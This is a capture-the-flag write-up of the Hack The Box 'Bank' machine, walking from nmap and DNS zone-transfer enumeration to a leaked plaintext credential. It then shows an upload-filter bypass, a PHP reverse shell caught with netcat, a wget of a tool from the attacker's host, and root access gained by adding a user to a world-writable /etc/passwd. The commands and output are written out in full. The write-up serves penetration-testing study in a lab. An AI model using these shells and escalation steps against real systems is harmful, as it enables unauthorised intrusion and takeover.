# Enumeration
### NMAP

The nmap scan reveals port 53, 80 and 22 open so we could assume that there is an http web application, DNS and ssh services. Let's enumerate the DNS and check out the findings in our browser.

Host is up (0.047s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

### [DNS Enumeration](https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3)
 

# dig axfr @10.10.10.29 bank.htb      

; <<>> DiG 9.16.11-Debian <<>> axfr @10.10.10.29 bank.htb
; (1 server found)
;; global options: +cmd
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb.               604800  IN      NS      ns.bank.htb.
bank.htb.               604800  IN      A       10.10.10.29
ns.bank.htb.            604800  IN      A       10.10.10.29
www.bank.htb.           604800  IN      CNAME   bank.htb.
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
;; Query time: 47 msec
;; SERVER: 10.10.10.29#53(10.10.10.29)
;; WHEN: Tue May 11 03:28:16 EDT 2021
;; XFR size: 6 records (messages 1, bytes 171)

# Web App Enumeration
#### /etc/hosts
Add the IP address to our known hosts file in /etc/hosts as:

10.10.10.29        bank.htb chris.bank.htb ns.bank.htb

#### chris.bank.htb bank.htb ns.bank.htb
 

#### Dirbuster

A couple of interesting directories were found for http://bank.htb including not present in the picture /balance-transfer/ directory.

*user* and *ticket* files does not return anything but footer on the other hand:

#### /balance-transfer/
Balance transfer is directory which contains a bunch of encrypted accounts. While scrolling through the directory, looking for something out of the ordinary, I found a file that is 50% smaller than the rest of the files. 

When opened, It seems that encryption failed since it is in plain text:

--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: [email protected]
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

# Exploit
I have logged in to the given account and discovered a Support page which provides file upload functionality which reveals a possible attack surface.

## LFI

The file upload has restrictions in place that prevent me from uploading anything other than images. Let's bypass that with burp suite.

#### Burp Suite
After configuring our *php-reverse-shell.php* from pentestmonkey, we try to upload it into the file upload form while having *intercept on*. After we capture the POST request, we send it to Repeater in order to debunk the restrictions in place. And voila...

## Shell

Open a nc listener that will intercept the reverse call and execute the file.

$ curl "http://bank.htb/uploads/php-reverse-shell.php.jpeg" |php                                        
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5492  100  5492    0     0  53843      0 --:--:-- --:--:-- --:--:-- 53843
PHP Notice:  Undefined variable: daemon in Standard input code on line 184
Successfully opened reverse shell to 10.10.14.3:1234

***yikes***, I just hacked myself 😄

Anyway... let's try to forget about that and figure out my next move. I read in the source code that the developer added an exception for the ***htb*** extension for debugging purposes and that files with such extension will be executed as php. So I have uploaded the reverse shell as an htb and just opened it which returned a shell.

# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.29] 58982
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 12:37:52 up  2:18,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

# Privilege EscalationWe are logged as www-data. In order to figure out our attack surface, I will run a script called unix-privesc-check. In the following lines, I am going to folder /tmp because it is writeable directory and download the file from my local kali system.
 

┌──(kali㉿kali)-[~/bank]
└─$ sudo cp /usr/share/unix-privesc-check/unix-privesc-check .      

┌──(kali㉿kali)-[~/bank]
└─$ python3 -m http.server                                 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.29 - - [11/May/2021 05:40:44] "GET /unix-privesc-check HTTP/1.1" 200 -
10.10.10.29 - - [11/May/2021 05:41:21] "GET /unix-privesc-check HTTP/1.1" 200 -

$ cd tmp
$ touch file
$ ls
file
vmware-root
$ wget http://10.10.14.3:8000/unix-privesc-check
--2021-05-11 12:45:15--  http://10.10.14.3:8000/unix-privesc-check
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 36801 (36K) [application/octet-stream]
Saving to: 'unix-privesc-check'

     0K .......... .......... .......... .....                100%  654K=0.05s

2021-05-11 12:45:16 (654 KB/s) - 'unix-privesc-check' saved [36801/36801]

$ 

Let's upgrade out session to be more intuitive and responsive.

$ python -c 'import pty;pty.spawn("/bin/bash")'                 
www-data@bank:/tmp$ export TERM=xterm                                                                                
export TERM=xterm                                                                                                    
www-data@bank:/tmp$ ^Z                                                                                               
zsh: suspended  nc -nlvp 1234                                                                                        
                                                                                                                     
┌──(root💀kali)-[/home/kali/bank]
└─# stty raw -echo;fg                                                                                      148 ⨯ 1 ⚙
[1]  + continued  nc -nlvp 1234

Now I have tab-completion and all keys register as normal.

www-data@bank:/tmp$ chmod +x unix-privesc-check

www-data@bank:/tmp$ ./unix-privesc-check standard

...[snip]...
############################################
    Checking if anyone except root can change /etc/passwd
WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd

Ok, so we have a writeable /etc/passwd file. Let's add a privileged user and escalate. Firstly, create a password:

$ openssl passwd -1 -salt hacker hacker
$1$hacker$TzyKlv0/R/c28R.GAeLw.1

Next, add the user as follows:

www-data@bank:/$ nano /etc/passwd
#################################
add the user in the document like so:
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
#################################
www-data@bank:/$ su hacker
Password: 
root@bank:/# whoami
root
root@bank:/#